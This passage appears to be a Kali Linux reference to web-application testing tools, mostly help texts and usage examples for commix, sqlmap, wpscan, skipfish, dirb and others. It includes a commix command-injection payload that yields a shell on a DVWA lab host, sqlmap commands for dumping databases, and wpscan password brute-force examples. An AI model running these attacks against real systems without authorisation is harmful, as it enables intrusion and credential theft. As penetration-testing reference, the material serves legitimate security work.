  --headers=HEADERS   Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
  --proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080').
  --tor               Use the Tor network.
  --tor-port=TOR_P..  Set Tor proxy port (Default: 8118).
  --auth-url=AUTH_..  Login panel URL.
  --auth-data=AUTH..  Login parameters and data.
  --auth-type=AUTH..  HTTP authentication type (e.g. 'basic').
  --auth-cred=AUTH..  HTTP Authentication credentials (e.g. 'admin:admin').

Enumeration:
  These options can be used to enumerate the target host.

  --current-user      Retrieve current user name.
  --hostname          Retrieve current hostname.
  --is-root           Check if the current user have root privileges.
  --is-admin          Check if the current user have admin privileges.
  --sys-info          Retrieve system information.
  --users             Retrieve system users.
  --passwords         Retrieve system users password hashes.
  --privileges        Retrieve system users privileges.

File access:
  These options can be used to access files on the target host.

  --file-read=FILE..  Read a file from the target host.
  --file-write=FIL..  Write to a file on the target host.
  --file-upload=FI..  Upload a file on the target host.
  --file-dest=FILE..  Host's absolute filepath to write and/or upload to.

Modules:
  These options can be used increase the detection and/or injection
  capabilities.

  --icmp-exfil=IP_..  The 'icmp exfiltration' injection technique
                      (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3').
  --shellshock        The 'shellshock' injection technique.

Injection:
  These options can be used to specify which parameters to inject and to
  provide custom injection payloads.

  --data=DATA         POST data to inject (use 'INJECT_HERE' tag to specify
                      the testable parameter).
  --suffix=SUFFIX     Injection payload suffix string.
  --prefix=PREFIX     Injection payload prefix string.
  --technique=TECH    Specify injection technique(s) to use.
  --maxlen=MAXLEN     The length of the output on time-based technique
                      (Default: 10000 chars).
  --delay=DELAY       Set Time-delay for time-based and file-based
                      techniques (Default: 1 sec).
  --tmp-path=TMP_P..  Set remote absolute path of temporary files directory
                      (Default: ).
  --root-dir=SRV_R..  Set remote absolute path of web server's root
                      directory (Default: ).
  --alter-shell=AL..  Use an alternative os-shell (e.g. Python).
  --os-cmd=OS_CMD     Execute a single operating system command.
  --base64            Encode the operating system command to Base64 format.
```

```
root@kali:~#
Commix Usage Example
root@kali:~# commix --url http://192.168.20.12/dvwa/vulnerabilities/exec/ \
>   --cookie='PHPSESSID=cj645co26lgve7ro1kc9dvt3a0; security=low' \
>   --data='ip=INJECT_HERE&Submit=Submit'
 (*) Checking connection to the target URL... [ SUCCEED ]
(^) Warning: Heuristics have failed to identify server's operating system.
(?) Do you recognise the server's operating system? [(W)indows/(U)nix/(q)uit] > w
(*) Setting the (POST) 'ip' parameter for tests.
(^) Warning: Due to the relatively slow response of 'cmd.exe' there may be delays during the data extraction
procedure.
(*) Testing the classic injection technique... [ SUCCEED ]
(!) The (POST) 'ip' parameter is vulnerable to Results-based Command Injection.
  (+) Type : Results-based Command Injection
  (+) Technique : Classic Injection Technique
  (+) Payload : %26 for /f "delims=" %i in ('cmd /c "set /a (49+1)"') do @set /p = AWMZVA%iAWMZVAAWMZVA
<nul
(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > y
Pseudo-Terminal (type '?' for available options)
commix(os_shell) > whoami
nt authority\iusr
commix(os_shell) >
```

httrack - www.httrack.com

download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site's relative link-structure.

```
HTTrack version 3.03BETAo4 (compiled Jul  1 2001)
                usage: ./httrack ] [-]
                with options listed below: (* is the default value)

General options:
  O  path for mirror/logfiles+cache (-O path_mirror[,path_cache_and_logfiles]) (--path )
 %O  top path if no path defined (-O path_mirror[,path_cache_and_logfiles])

Action options:
  w *mirror web sites (--mirror)
  W  mirror web sites, semi-automatic (asks questions) (--mirror-wizard)
  g  just get files (saved in the current directory) (--get-files)
  i  continue an interrupted mirror using the cache
  Y   mirror ALL links located in the first level pages (mirror links) (--mirrorlinks)

Proxy options:
  P  proxy use (-P proxy:port or -P user:pass@proxy:port) (--proxy )
 %f *use proxy for ftp (f0 don't use) (--httpproxy-ftp[=N])

Limits options:
  rN set the mirror depth to N (* r9999) (--depth[=N])
 %eN set the external links depth to N (* %e0) (--ext-depth[=N])
  mN maximum file length for a non-html file (--max-files[=N])
  mN,N'                 for non html (N) and html (N')
  MN maximum overall size that can be uploaded/scanned (--max-size[=N])
  EN maximum mirror time in seconds (60=1 minute, 3600=1 hour) (--max-time[=N])
  AN maximum transfer rate in bytes/seconds (1000=1kb/s max) (--max-rate[=N])
 %cN maximum number of connections/seconds (*%c10)
  GN pause transfer if N bytes reached, and wait until lock file is deleted (--max-pause[=N])

Flow control:
  cN number of multiple connections (*c8) (--sockets[=N])
```

```
  TN timeout, number of seconds after a non-responding link is shutdown (--timeout)
  RN number of retries, in case of timeout or non-fatal errors (*R1) (--retries[=N])
  JN traffic jam control, minimum transfert rate (bytes/seconds) tolerated for a link (--min-rate[=N])
  HN host is abandonned if: 0=never, 1=timeout, 2=slow, 3=timeout or slow (--host-control[=N])

Links options:
 %P *extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don't use) (--extended-
parsing[=N])
  n  get non-html files 'near' an html file (ex: an image located outside) (--near)
  t  test all URLs (even forbidden ones) (--test)
 %L )

Build options:
  NN structure type (0 *original structure, 1+: see below) (--structure[=N])
     or user defined structure (-N "%h%p/%n%q.%t")
  LN long names (L1 *long names / L0 8-3 conversion) (--long-names[=N])
  KN keep original links (e.g. http://www.adr/link) (K0 *relative link, K absolute links, K3 absolute URI links) (--keep-
links[=N])
  x  replace external html links by error pages (--replace-external)
 %x  do not include any password for external password protected websites (%x0 include) (--no-passwords)
 %q *include query string for local files (useless, for information purpose only) (%q0 don't include) (--include-query-
string)
  o *generate output html file in case of error (404..) (o0 don't generate) (--generate-errors)
  X *purge old files after update (X0 keep delete) (--purge-old[=N])

Spider options:
  bN accept cookies in cookies.txt (0=do not accept,* 1=accept) (--cookies[=N])
  u  check document type if unknown (cgi,asp..) (u0 don't check, * u1 check but /, u2 check always) (--check-
type[=N])
  j *parse Java Classes (j0 don't parse) (--parse-java[=N])
  sN follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always) (--robots[=N])
 %h  force HTTP/1.0 requests (reduce update features, only for old servers or proxies) (--http-10)
 %B  tolerant requests (accept bogus responses on some servers, but not standard!) (--tolerant)
 %s  update hacks: various hacks to limit re-transfers when updating (identical size, bogus response..) (--
updatehack)
 %A  assume that a type (cgi,asp..) is always linked with a mime type (-%A php3=text/html) (--assume )

Browser ID:
  F  user-agent field (-F "user-agent name") (--user-agent )
 %F  footer string in Html code (-%F "Mirrored [from host %s [file %s [at %s]]]" (--footer )
 %l  preffered language (-%l "fr, en, jp, *" (--language )

Log, index, cache
  C  create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before) (--
cache[=N])
  k  store all files in cache (not useful if files on disk) (--store-all-in-cache)
 %n  do not re-download locally erased files (--do-not-recatch)
 %v  display on screen filenames downloaded (in realtime) (--display)
  Q  no log - quiet mode (--do-not-log)
  q  no questions - quiet mode (--quiet)
  z  log - extra infos (--extra-log)
  Z  log - debug (--debug-log)
  v  log on screen (--verbose)
  f *log in files (--file-log)
  f2 one single log file (--single-log)
  I *make an index (I0 don't make) (--index)
 %I  make an searchable index for this mirror (* %I0 don't make) (--search-index)

Expert options:
  pN priority mode: (* p3) (--priority[=N])
     0 just scan, don't save anything (for checking links)
```

```
     1 save only html files
     2 save only non html files
    *3 save all files
     7 get html files before, then treat other files
  S  stay on the same directory
  D *can only go down into subdirs
  U  can only go to upper directories
  B  can both go up&down into the directory structure
  a *stay on the same address
  d  stay on the same principal domain
  l  stay on the same TLD (eg: .com)
  e  go everywhere on the web
 %H  debug HTTP headers in logfile (--debug-headers)

Guru options: (do NOT use)
 #0  Filter test (-#0 '*.gif' 'www.bar.com/foo.gif')
 #f  Always flush log files
 #FN Maximum number of filters
 #h  Version info
 #K  Scan stdin (debug)
 #L  Maximum number of links (-#L1000000)
 #p  Display ugly progress information
 #P  Catch URL
 #R  Old FTP routines (debug)
 #T  Generate transfer ops. log every minutes
 #u  Wait time
 #Z  Generate transfer rate statictics every minutes
 #!  Execute a shell command (-#! "echo hello")

Command-line specific options:
  V execute system command after each files ($0 is the filename: -V "rm \$0") (--userdef-cmd )
 %U run the engine with another id when called as root (-%U smith) (--user )

Details: Option N
  N0 Site-structure (default)
  N1 HTML in web/, images/other files in web/images/
  N2 HTML in web/HTML, images/other in web/images
  N3 HTML in web/,  images/other in web/
  N4 HTML in web/, images/other in web/xxx, where xxx is the file extension
(all gif will be placed onto web/gif, for example)
  N5 Images/other in web/xxx and HTML in web/HTML
  N99 All files in web/, with random names (gadget !)
  N100 Site-structure, without www.domain.xxx/
  N101 Identical to N1 exept that "web" is replaced by the site's name
  N102 Identical to N2 exept that "web" is replaced by the site's name
  N103 Identical to N3 exept that "web" is replaced by the site's name
  N104 Identical to N4 exept that "web" is replaced by the site's name
  N105 Identical to N5 exept that "web" is replaced by the site's name
  N199 Identical to N99 exept that "web" is replaced by the site's name
  N1001 Identical to N1 exept that there is no "web" directory
  N1002 Identical to N2 exept that there is no "web" directory
  N1003 Identical to N3 exept that there is no "web" directory (option set for g option)
  N1004 Identical to N4 exept that there is no "web" directory
  N1005 Identical to N5 exept that there is no "web" directory
  N1099 Identical to N99 exept that there is no "web" directory
Details: User-defined option N
  %n Name of file without file type (ex: image) (--do-not-recatch)
  %N Name of file, including file type (ex: image.gif)
  %t File type (ex: gif)
  %p Path [without ending /] (ex: /someimages)
  %h Host name (ex: www.someweb.com) (--http-10)
```

%M URL MD5 (128 bits, 32 ascii bytes)
%Q query string MD5 (128 bits, 32 ascii bytes)
%q small query string MD5 (16 bits, 4 ascii bytes) (--include-query-string)
%s? Short name version (ex: %sN)
%[param] param variable in query string

Shortcuts:
--mirror

owasp-zap - GUI - needs it's own overview
The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox.

paros - another GUI proxy. I would lump these tools into their own genre overview
Java based HTTP/HTTPS proxy for assessing web application vulnerability. It supports editing/viewing HTTP messages on-the-fly. Other featuers include spiders, client certificate, proxy-chaining, intelligent scanning for XSS and SQL injections etc.
http://www.parosproxy.org/index.shtml

skipfish - http://code.google.com/p/skipfish/
Active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes. The resulting map is then annotated with the output from a number of active (but hopefully non-disruptive) security checks. The final report generated by the tool is meant to serve as a foundation for professional web application security assessments.

High speed: pure C code, highly optimized HTTP handling, minimal CPU footprint – easily achieving 2000 requests per second with responsive targets.
Ease of use: heuristics to support a variety of quirky web frameworks and mixed-technology sites, with automatic learning capabilities, on-the-fly wordlist creation, and form autocompletion.
Cutting-edge security logic: high quality, low false positive, differential security checks, capable of spotting a range of subtle flaws, including blind injection vectors.

root@kali:~# skipfish -h
skipfish web application scanner - version 2.10b
Usage: skipfish [options ...] -W wordlist -o output_dir start_url [start_url2 ...]

Authentication and access options:

-A user:pass - use specified HTTP authentication credentials
-F host=IP - pretend that 'host' resolves to 'IP'
-C name=val - append a custom cookie to all requests
-H name=val - append a custom HTTP header to all requests
-b (i|f|p) - use headers consistent with MSIE / Firefox / iPhone
-N - do not accept any new cookies
--auth-form url - form authentication URL
--auth-user user - form authentication user
--auth-pass pass - form authentication password
--auth-verify-url - URL for in-session detection

Crawl scope options:

-d max_depth - maximum crawl tree depth (16)
-c max_child - maximum children to index per node (512)
-x max_desc - maximum descendants to index per branch (8192)
-r r_limit - max total number of requests to send (100000000)
-p crawl% - node and link crawl probability (100%)
-q hex - repeat probabilistic scan with given seed
-I string - only follow URLs matching 'string'
-X string - exclude URLs matching 'string'

```
  -K string        - do not fuzz parameters named 'string'
  -D domain        - crawl cross-site links to another domain
  -B domain        - trust, but do not crawl, another domain
  -Z               - do not descend into 5xx locations
  -O               - do not submit any forms
  -P               - do not parse HTML, etc, to find new links

Reporting options:

  -o dir           - write output to specified directory (required)
  -M               - log warnings about mixed content / non-SSL passwords
  -E               - log all HTTP/1.0 / HTTP/1.1 caching intent mismatches
  -U               - log all external URLs and e-mails seen
  -Q               - completely suppress duplicate nodes in reports
  -u               - be quiet, disable realtime progress stats
  -v               - enable runtime logging (to stderr)

Dictionary management options:

  -W wordlist      - use a specified read-write wordlist (required)
  -S wordlist      - load a supplemental read-only wordlist
  -L               - do not auto-learn new keywords for the site
  -Y               - do not fuzz extensions in directory brute-force
  -R age           - purge words hit more than 'age' scans ago
  -T name=val      - add new form auto-fill rule
  -G max_guess     - maximum number of keyword guesses to keep (256)

  -z sigfile       - load signatures from this file

Performance settings:

  -g max_conn      - max simultaneous TCP connections, global (40)
  -m host_conn     - max simultaneous connections, per target IP (10)
  -f max_fail      - max number of consecutive HTTP errors (100)
  -t req_tmout     - total request response timeout (20 s)
  -w rw_tmout      - individual network I/O timeout (10 s)
  -i idle_tmout    - timeout on idle HTTP connections (10 s)
  -s s_limit       - response size limit (400000 B)
  -e               - do not keep binary responses for reporting

Other settings:

  -l max_req       - max requests per second (0.000000)
  -k duration      - stop scanning after the given duration h:m:s
  --config file    - load the specified configuration file

----------------
```

Using the given directory for output (-o 202) , scan the web application URL (http://192.168.1.202/wordpress):
root@kali:~# skipfish -o 202 http://192.168.1.202/wordpress

```
skipfish version 2.10b by lcamtuf@google.com

  - 192.168.1.202 -

Scan statistics:

      Scan time : 0:00:05.849
  HTTP requests : 2841 (485.6/s), 1601 kB in, 563 kB out (370.2 kB/s)
    Compression : 802 kB in, 1255 kB out (22.0% gain)
    HTTP faults : 0 net errors, 0 proto errors, 0 retried, 0 drops
```

```
 TCP handshakes : 46 total (61.8 req/conn)
    TCP faults : 0 failures, 0 timeouts, 16 purged
External links : 512 skipped
  Reqs pending : 0

Database statistics:

        Pivots : 13 total, 12 done (92.31%)
   In progress : 0 pending, 0 init, 0 attacks, 1 dict
 Missing nodes : 0 spotted
    Node types : 1 serv, 4 dir, 6 file, 0 pinfo, 0 unkn, 2 par, 0 val
  Issues found : 10 info, 0 warn, 0 low, 8 medium, 0 high impact
     Dict size : 20 words (20 new), 1 extensions, 202 candidates
    Signatures : 77 total

[+] Copying static resources...
[+] Sorting and annotating crawl nodes: 13
[+] Looking for duplicate entries: 13
[+] Counting unique nodes: 11
[+] Saving pivot data for third-party tools...
[+] Writing scan description...
[+] Writing crawl tree: 13
[+] Generating summary views...
[+] Report saved to '202/index.html' [0x7054c49d].
[+] This was a great day for science!
```

sqlmap - http://sqlmap.org/
Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features:

- Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
- Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
- Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
- Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
- Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
- Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
- Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.

Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

```
sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
```

```
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database table(s) to enumerate
  -C COL               DBMS database table column(s) to enumerate

 Operating system access:
  These options can be used to access the back-end database management
  system underlying operating system

  --os-shell          Prompt for an interactive operating system shell
  --os-pwn             Prompt for an OOB shell, Meterpreter or VNC

 General:
  These options can be used to set some general working parameters

  --batch             Never ask for user input, use the default behaviour
  --flush-session      Flush session files for current target

 Miscellaneous:
  --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

[*] shutting down at 15:52:48
```

Attack the given URL (-u “http://192.168.1.250/?p=1&forumaction=search”) and extract the database names (–dbs):

```
# sqlmap -u "http://192.168.1.250/?p=1&forumaction=search" --dbs

   sqlmap/1.0-dev - automatic SQL injection and database takeover tool
   http://sqlmap.org

[*] starting at 13:11:04
```

w3af - http://w3af.sourceforge.net/

w3af is a Web Application Attack and Audit Framework which aims to identify and exploit all web application vulnerabilities. This package provides a graphical user interface (GUI) for the framework. If you want a command-line application only, install w3af-console. The framework has been called the “metasploit for the web”, but it’s actually much more than that, because it also discovers the web application vulnerabilities using black-box scanning techniques!. The w3af core and it’s plugins are fully written in Python. The project has more than 130 plugins, which identify and exploit SQL injection, cross site scripting (XSS), remote file inclusion and more.

webscarab - http://dawes.za.net/rogan/webscarab/#current

designed to be a tool for anyone who needs to expose the workings of an HTTP(S) based application, whether to allow the developer to debug otherwise difficult problems, or to allow a security specialist to identify vulnerabilities in the way that the application has been designed or implemented.

wpscan - http://wpscan.org/

WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues.

```
# wpscan  --help
Some values are settable in a config file, see the example.conf.json

--update                          Update to the database to the latest version.
--url       | -u <target url>       The WordPress URL/domain to scan.
--force     | -f                  Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u       usernames from id 1 to 10
```

```
   u[10-20] usernames from id 10 to 20 (you must write [] chars)
   p        plugins
   vp       only vulnerable plugins
   ap       all plugins (can take a long time)
   tt       timthumbs
   t        themes
   vt       only vulnerable themes
   at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "<regexp or string>"
                            Used with the enumeration option, will exclude all occurrences based on the regexp or
string supplied.
                            You do not need to provide the regexp delimiters, but you must write the quotes (simple or
double).
--config-file  | -c <config file>   Use the specified config file, see the example.conf.json.
--user-agent   | -a <User-Agent>    Use the specified User-Agent.
--cookie <String>                   String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do
so or not
--batch                            Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir <wp content dir>   WPScan try to find the content directory (ie wp-content) by scanning the index
page, however you can specified it.
                            Subdirectories are allowed.
--wp-plugins-dir <wp plugins dir>   Same thing than --wp-content-dir but for the plugins directory.
                            If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy <[protocol://]host:port>    Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                            If no protocol is given (format host:port), HTTP will be used.
--proxy-auth <username:password>    Supply the proxy login credentials.
--basic-auth <username:password>    Set the HTTP Basic authentication.
--wordlist | -w <wordlist>          Supply a wordlist for the password brute forcer.
--username | -U <username>          Only brute force the supplied username.
--usernames     <path-to-file>      Only brute force the usernames from the file.
--threads  | -t <number of threads> The number of threads to use when multi-threading requests.
--cache-ttl       <cache-ttl>       Typhoeus cache TTL.
--request-timeout <request-timeout> Request Timeout.
--connect-timeout <connect-timeout> Connect Timeout.
--max-threads     <max-threads>     Maximum Threads.
--help     | -h                    This help screen.
--verbose  | -v                     Verbose output.
--version                           Output the current version and exit.


Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
```

ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.

wpscan --url http://wordpress.local --enumerate p
WordPress Security Scanner by the WPScan Team
Version 2.6
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_____

[+] URL: http://wordpress.local/
[+] Started: Mon Jan 12 14:07:40 2015

[+] robots.txt available under: 'http://wordpress.local/robots.txt'
[+] Interesting entry from robots.txt: http://wordpress.local/search
[+] Interesting entry from robots.txt: http://wordpress.local/support/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/extend/plugins/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/plugins/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/extend/themes/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/themes/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/support/rss
[+] Interesting entry from robots.txt: http://wordpress.local/archive/
[+] Interesting header: SERVER: nginx
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-NC: HIT lax 249
[+] XML-RPC Interface available under: http://wordpress.local/xmlrpc.php

[+] WordPress version 4.2-alpha-31168 identified from rss generator

[+] Enumerating installed plugins ...

Time: 00:00:35 <==> (2166 / 2166) 100.00% Time: 00:00:35

[+] We found 2166 plugins:
...

Web Crawlers and Directory Brute Force submenu

apache-users - https://labs.portcullis.co.uk/
Perl script will enumerate the usernames on any system that uses Apache with the UserDir module
apache-users
apache.pl [-h 1.2.3.4] [-l names] [-p 80] [-s (SSL Support 1=true 0=false)] [-e 403 (http code)] [-t threads]

Run against the remote host (-h 192.168.1.202), passing a dictionary of usernames (-l /usr/share/wordlists/metasploit/unix_users.txt), the port to use (-p 80), disable SSL (-s 0), specify the HTTP error code (-e 403), using 10 threads (-t 10):
apache-users -h 192.168.1.202 -l /usr/share/wordlists/metasploit/unix_users.txt -p 80 -s 0 -e 403 -t 10

cutycapt - http://cutycapt.sourceforge.net/
Capture WebKit's rendering of a web page into a variety of vector and bitmap formats, including SVG, PDF, PS, PNG, JPEG, TIFF, GIF, and BMP.

cutycapt --help
```
 ---------------------------------------------------------------------------
 Usage: CutyCapt --url=http://www.example.org/ --out=localfile.png
 ---------------------------------------------------------------------------
  --help                        Print this help page and exit
  --url=<url>                   The URL to capture (http:...|file:...|...)
  --out=<path>                  The target file (.png|pdf|ps|svg|jpeg|...)
  --out-format=<f>              Like extension in --out, overrides heuristic
  --min-width=<int>             Minimal width for the image (default: 800)
  --min-height=<int>            Minimal height for the image (default: 600)
  --max-wait=<ms>               Don't wait more than (default: 90000, inf: 0)
  --delay=<ms>                  After successful load, wait (default: 0)
  --user-style-path=<path>      Location of user style sheet file, if any
  --user-style-string=<css>     User style rules specified as text
  --header=<name>:<value>       request header; repeatable; some can't be set
  --method=<get|post|put>       Specifies the request method (default: get)
  --body-string=<string>        Unencoded request body (default: none)
  --body-base64=<base64>        Base64-encoded request body (default: none)
  --app-name=<name>             appName used in User-Agent; default is none
  --app-version=<version>       appVers used in User-Agent; default is none
  --user-agent=<string>         Override the User-Agent header Qt would set
  --javascript=<on|off>         JavaScript execution (default: on)
  --java=<on|off>               Java execution (default: unknown)
  --plugins=<on|off>            Plugin execution (default: unknown)
  --private-browsing=<on|off>   Private browsing (default: unknown)
  --auto-load-images=<on|off>   Automatic image loading (default: on)
  --js-can-open-windows=<on|off> Script can open windows? (default: unknown)
  --js-can-access-clipboard=<on|off> Script clipboard privs (default: unknown)
  --print-backgrounds=<on|off>  Backgrounds in PDF/PS output (default: off)
  --zoom-factor=<float>         Page zoom factor (default: no zooming)
  --zoom-text-only=<on|off>     Whether to zoom only the text (default: off)
  --http-proxy=<url>            Address for HTTP proxy server (default: none)
 ---------------------------------------------------------------------------
  <f> is svg,ps,pdf,itext,html,rtree,png,jpeg,mng,tiff,gif,bmp,ppm,xbm,xpm
 ---------------------------------------------------------------------------
 http://cutycapt.sf.net - (c) 2003-2010 Bjoern Hoehrmann - bjoern@hoehrmann.de
```
cutycapt Usage Example

Take a capture of the URL (–url=http://www.kali.org) and save it to disk (–out=kali.png):
root@kali:~# cutycapt --url=http://www.kali.org --out=kali.png

QFont::setPixelSize: Pixel size <= 0 (0)
QFont::setPixelSize: Pixel size <= 0 (0)

dirb - http://dirb.sourceforge.net/about.html
Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analyzing the response.

DIRB comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists. Also DIRB sometimes can be used as a classic CGI scanner, but remember is a content scanner not a vulnerability scanner.

DIRB main purpose is to help in professional web application auditing. Specially in security related testing. It covers some holes not covered by classic web vulnerability scanners. DIRB looks for specific web objects that other generic CGI scanners can't look for. It doesn't search vulnerabilities nor does it look for web contents that can be vulnerables.

dirb

DIRB v2.21
By The Dark Raver

./dirb <url_base> [<wordlist_file(s)>] [options]

========== NOTES ==========
<url_base> : Base URL to scan. (Use -resume for session resuming)
<wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)

========== HOTKEYS ==========
'n' -> Go to next directory.
'q' -> Stop scan. (Saving state for resume)
'r' -> Remaining scan stats.

========== OPTIONS ==========
-a <agent_string> : Specify your custom USER_AGENT.
-c <cookie_string> : Set a cookie for the HTTP request.
-f : Fine tunning of NOT_FOUND (404) detection.
-H <header_string> : Add a custom header to the HTTP request.
-i : Use case-insensitive search.
-l : Print "Location" header when found.
-N <nf_code>: Ignore responses with this HTTP code.
-o <output_file> : Save output to disk.
-p <proxy[:port]> : Use this proxy. (Default port is 1080)
-P <proxy_username:proxy_password> : Proxy Authentication.
-r : Don't search recursively.
-R : Interactive recursion. (Asks for each directory)
-S : Silent Mode. Don't show tested words. (For dumb terminals)
-t : Don't force an ending '/' on URLs.
-u <username:password> : HTTP Authentication.
-v : Show also NOT_FOUND pages.
-w : Don't stop on WARNING messages.
-X <extensions> / -x <exts_file> : Append each word with this extensions.
-z <milisecs> : Add a miliseconds delay to not cause excessive Flood.

========== EXAMPLES ==========
./dirb http://url/directory/ (Simple Test)
./dirb http://url/ -X .html (Test files with '.html' extension)
./dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test with apache.txt wordlist)
./dirb https://secure_url/ (Simple Test with SSL)

html2dic – Generate a dictionary from HTML pages
root@kali:~# html2dic
Uso: ./html2dic <file>
gendict – Generator for custom dictionaries
root@kali:~# gendict
Usage: gendict -type pattern
  type: -n numeric [0-9]
        -c character [a-z]
        -C uppercase character [A-Z]
        -h hexa [0-f]
        -a alfanumeric [0-9a-z]
        -s case sensitive alfanumeric [0-9a-zA-Z]
  pattern: Must be an ascii string in which every 'X' character wildcard
           will be replaced with the incremental value.

Example: gendict -n thisword_X
  thisword_0
  thisword_1
  [...]
  thisword_9
dirb Usage Example

Scan the web server (http://192.168.1.224/) for directories using a dictionary file (/usr/share/wordlists/dirb/common.txt):
root@kali:~# dirb http://192.168.1.224/ /usr/share/wordlists/dirb/common.txt

---
DIRB v2.21
By The Dark Raver

START_TIME: Fri May 16 13:41:45 2014
URL_BASE: http://192.168.1.224/
